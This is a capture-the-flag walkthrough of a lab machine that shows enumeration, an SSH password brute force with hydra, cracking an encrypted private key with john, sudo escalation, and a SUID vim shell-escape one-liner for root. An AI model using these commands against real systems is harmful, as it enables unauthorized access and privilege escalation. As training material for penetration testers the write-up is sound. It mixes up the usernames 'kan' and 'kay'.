

1. Recon

Nmap scan :

PORT	STATE	SERVICE	REASON	VERSION
22/tcp	open	ssh	syn-ack ttl 63	OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp	open	http	syn-ack ttl 63	Apache httpd 2.4.18 ((Ubuntu))
139/tcp	open	netbios-ssn	syn-ack ttl 63	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp	open	netbios-ssn	syn-ack ttl 63	Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp	open	ajp13	syn-ack ttl 63	Apache Jserv (Protocol v1.3)
8080/tcp	open	http	syn-ack ttl 63	Apache Tomcat 9.0.7

SSH

An ssh server is running on port 22, but we don't have any creds yet.

SMB

On port 139/445 a Samba server is running, using the enum4linux script we can find useful informations :

A share :

Sharename	Type	Comment
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Anonymous	Disk	
IPC\$	IPC	IPC Service (Samba Server 4.3.11-Ubuntu)

Two users :

S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)

We can connect to the anonymous share :

> smbclient //IP/anonymous

Where we can retrieve "staff.txt", where we found again the two usernames : jan and kay.

WEB

On port 80, we reach a website "Under maintenance" but, in the source code we can find :

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<!-- Check our dev note section if you need to know what to work on. -->
Meaning we can find something else on this website. Using gobuster :
/development
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We can retrieve "j.txt" saying :

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

Knowing that jan has a weak password, we can try to bruteforce it.

2. Bruteforcing SSH

To bruteforce the credentials, i will use Hydra :
> hydra -l jan -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt IP ssh

Result :

[22][ssh] host: 10.10.79.44 login: jan password: [REDACTED]

We can now ssh to jan.

3. Privesc #1 SSH

When exploring around, we can find that we have a read access over the ssh keys of kan.

> /home/kan/.ssh/id_rsa

-----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4, ENCRYPTED

DEK-Info: AES-128-CBC, 6ABA7DE35CDB65070B92C1F760E2FE75

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-----END RSA PRIVATE KEY-----
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But we have a problem, the key is encrypted.
We will need to crack the pass, for this, we will use JohnTheRipper,
but first we need to make it crackable by john.

Use of ssh2john

```
> ssh2john id_rsa > id_rsa.hash
> john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

This will give us the password of the key.

We can now connect to kan using ssh and the key.

```
> ssh kay@IP -i id_rsa
> put the key passphrase found above
```

pass.bak

In the home directory of kay, we can find the "pass.bak" file, containing a password

trying "sudo -l" using the password will show :

Matching Defaults entries for kay on basic2:

```
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/b
in\:/snap/bin
```

User kay may run the following commands on basic2:

```
(ALL : ALL) ALL
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We can easily get root using :

```
> sudo su
```

Privesc 2 : SUID file

In our standard account Jan,
we can find an abnormal SUID file using :

```
> find / -perm -u=s 2> /dev/null
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```
/usr/bin/vim.basic
```

Which is a version of vim.

Using GTF0bin, we can find that vim with SUID bit set, can be use to get root with :

```
/path/to/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset;
exec sh -p")'
```

Since the machine don't have python installed but python3, we need to use :

```
/path/to/vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset;  
exec sh -p")'
```

```
> /usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc",  
"reset; exec sh -p")'
```

We now have root access.